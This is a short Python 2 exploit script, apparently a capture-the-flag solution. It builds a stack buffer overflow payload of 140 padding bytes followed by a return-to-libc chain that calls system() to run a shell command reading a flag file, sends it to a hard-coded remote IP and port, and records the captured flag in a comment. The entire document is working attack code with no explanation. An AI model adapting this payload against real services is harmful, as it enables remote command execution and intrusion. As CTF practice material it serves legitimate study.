import socket
import struct
from binascii import hexlify

system_plt = 0x080483a0
sh = 0x80485c0 # /bin/bash -c 'cat flag.txt'

payload = "A"*140
payload += struct.pack("<I", system_plt)
payload += "AAAA"
payload += struct.pack("<I", sh)

#open('payload', 'w').write(payload)

s=socket.create_connection(('212.71.235.214', 5000))
print s.recv(1024)
s.send(payload+'\n')

print s.recv(1024)

#flag{assembly_is_awesome!!}

